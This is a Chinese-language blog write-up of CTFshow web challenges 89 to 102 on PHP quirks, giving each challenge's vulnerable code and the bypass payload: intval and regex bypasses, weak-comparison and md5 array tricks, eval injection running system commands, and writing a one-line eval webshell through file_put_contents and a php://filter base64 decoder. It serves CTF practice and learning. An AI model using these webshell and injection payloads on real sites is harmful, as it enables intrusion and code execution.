CTFshow刷题日记-WEB-PHP特性(上)

537 阅读5分钟

一起养成写作习惯!这是我参与「掘金日新计划 · 4 月更文挑战」的第1天,点击查看活动详情

Part1

有关 intval() 函数的绕过技巧

web89-数组绕过preg_match

clude("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

能被intval认成数字,又不包括数字0-9

看了下intval函数,发现可以传数组

image-20210904171753065

?num[1]=a&num[2]=b

image-20210904171809053

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

关键是 intval($num,0)===4476 成立

int intval ( mixed $var [, int $base = 10 ] )
参数说明:

$var:要转换成 integer 的数量值。

$base:转化所使用的进制。

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,

如果字符串以 "0" 开始,使用 8 进制(octal);否则,

将使用 10 进制 (decimal)。

但是intval不止支持十进制,所以可以用其他进制绕过

?num=0x117c  //16进制

还可以用小数绕过

?num=4476.4

echo intval(4.2);                     // 4    

因为intval是取整函数,所以

echo intval(4476a)		// 4476

web91

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

两个 if 判断差在了 preg_match 的比较模式是不是有 m,所以 m 是什么就一定要搞明白了

称为内联匹配模式,通常用内联匹配模式代替使用枚举值RegexOptions指定的全局匹配模式,写起来更简洁。起来更简洁。
  (?i) 表示所在位置右侧的表达式开启忽略大小写模式
  (?s) 表示所在位置右侧的表达式开启单行模式。
  更改句点字符 (.) 的含义,以使它与每个字符(而不是除 \n 之外的所有字符)匹配。
  注意:(?s)通常在匹配有换行的文本时使用
  (?m) 表示所在位置右侧的表示式开启指定多行模式。
  更改 ^ 和 $ 的含义,以使它们分别与任何行的开头和结尾匹配,
  而不只是与整个字符串的开头和结尾匹配。
  注意:(?m)只有在正则表达式中涉及到多行的“^”和“$”的匹配时,才使用Multiline模式。
  上面的匹配模式可以组合使用,比如(?is),(?im)。
  另外,还可以用(?i:exp)或者(?i)exp(?-i)来指定匹配的有效范围。

.表示除\n之外的任意字符
*表示匹配0-无穷
+表示匹配1-无穷

也就是可以通过换行绕过第二个判断

payload

?cmd=111%0aphp			//%0a就是表示换行

web92

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

咋一看和web90是一个题但是变成了弱类型比较

image-20210904184329674

之前的 4476a 此处就不适用了,因为

var_dump('4476a'==4476);
// 输出bool(true)

payload

可以用进制和小数绕过

?num=4476.6
?num=010574  //8进制    
?num=0x117c  //16进制     

还可以通过科学计数法e绕过

在url中输入的数据默认就是字符串类型

<?php
var_dump('4476e123'==4476);
var_dump(intval('4476e123'))
?>
    
// 输出
bool(false)	
//作为字符串类型进行弱类型比较现转换成数字4476e123科学计数法形式不等于数字4476
int(4476)  
//intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
  
/?num=4476e123

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

这很明显过滤了字母,也就是十六进制和科学记数法不能使用了,还有八进制和小数可以用

?num=4476.6
?num=010574  //8进制   

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

多了个strpos函数

strpos — 查找字符串首次出现的位置
也就是说num中必须出现0,且0不能出现在第一位,因为如果出现在第一位则strpos返回00取反条件成立执行die
strpos() 函数对大小写敏感    

payload

?num=4476.0 
可以在八进制前边加空格
?num=  010574

web95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

加了过滤小数点,也就是小数格式无法使用

payload

?num= 010574

Part2

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

构造相对路径绕过弱类型比较

?u=./flag.php

web97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

a不等于b,但是md5值强类型相等

数组类型绕过

post:a[]=1&b[]=2
因为数组经过md5函数返回null,两个null强类型相等    

如果是弱类型比较可以找,两个数md5都是0e开头的就行

web98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>

分解

$_GET?$_GET=&$_POST:'flag';
也就是说GET获取的变量都要在POST位置提交
最终目的是
$_GET['HTTP_FLAG']=='flag'?$flag:__FILE__
也就是中间的两个没啥用
直接get任意,再post:HTTP_FLAG=flag

image-20210904195356130

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

上边的for就是生成了一个有数字组成的数组,重点在这个in_array函数

in_array函数也是弱类型比较

<?php
$array = array(1, 2, 3, 4);
var_dump(in_array("1a.php",$array));
?>
    
// bool(true)    

image-20210904200300760

image-20210904200311163

payload

get:?n=1a.php
post:content=<?php system('cat flag36d.php');?>
写入1a.php访问,查看源码即可    

web100

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>
$a=true and false and false;
var_dump($a);  返回true

$a=true && false && false;
var_dump($a);  返回false

所以只要保证v1是数字v3有; 即可

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
或者直接拿到ctfshow.php
?v1=1&v2=system('nl ctfshow.php')/*&v3=*/;

也可以用反射的方法

首先来学习一下反射

<?php
class A{
public static $flag="flag{123123123}";
const  PI=3.14;
static function hello(){
    	echo "hello</br>";
	}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants());  //获取一组常量
输出
array(1) {
	["PI"]=>
	float(3.14)
}

var_dump($a->getName());    //获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); //获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); //获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

payload

直接输出 ctfshow 类即可,也就是构造出 
echo new ReflectionClass('ctfshow');
payload:
?v1=1&v2=echo new ReflectionClass&v3=;

web101

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }   
}
?>

加了好些过滤,但是都没有用

payload和100一样

image-20210905085359224

web102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

题目中的四个函数

1.is_numeric()
判断是否是数字,is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的
var_dump(is_numeric("0x66"));  
// php5的环境下返回true  php7返回false

2.substr()
字符串截取函数
substr("Hello world",6);
从length长度开始截取默认是直到字符串的结尾
// 输出 world
    
3.call_user_func($v1,$s);
把第一个参数作为回调函数调用
也就是说$v1可以是函数名,$s就是函数的值,就可以调用函数
    
4.file_put_contents($v3,$str)
把str的内容放入v3文件中

我们就可以利用is_numeric的特性传入一个十六进制数,通过substr函数时 0x 会被截去, call_user_func 函数处调用 hex2bin 函数将16进制转换成字符串写入文件中

hex2bin()
转换十六进制字符串为二进制字符串
hex2bin如果参数带0x会报错

将一句话编码成16进制

image-20210905091627522

<?php eval($_GET[1]);?>
0x3c3f706870206576616c28245f4745545b315d293b3f3e  

payload

?v2=0x3c3f706870206576616c28245f4745545b315d293b3f3e&v3=1.php
post:v1=hex2bin

但是这个题因为环境没有设置好用的是php7

image-20210905092226391

作者提供了另外一种方法

虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。 所以如果能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字不就可以通过了吗? 也就是说

$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。

这里直接借用其他师傅的payload

$a='<?=`cat *`;';
$b=base64_encode($a);  // PD89YGNhdCAqYDs=
$c=bin2hex($b);      //这里直接用去掉=的base64
输出   5044383959474e6864434171594473

带e的话会被认为是科学计数法,可以通过is_numeric检测。 大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。

最终payload:

v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php post: v1=hex2bin
访问1.php,查看源码拿到flag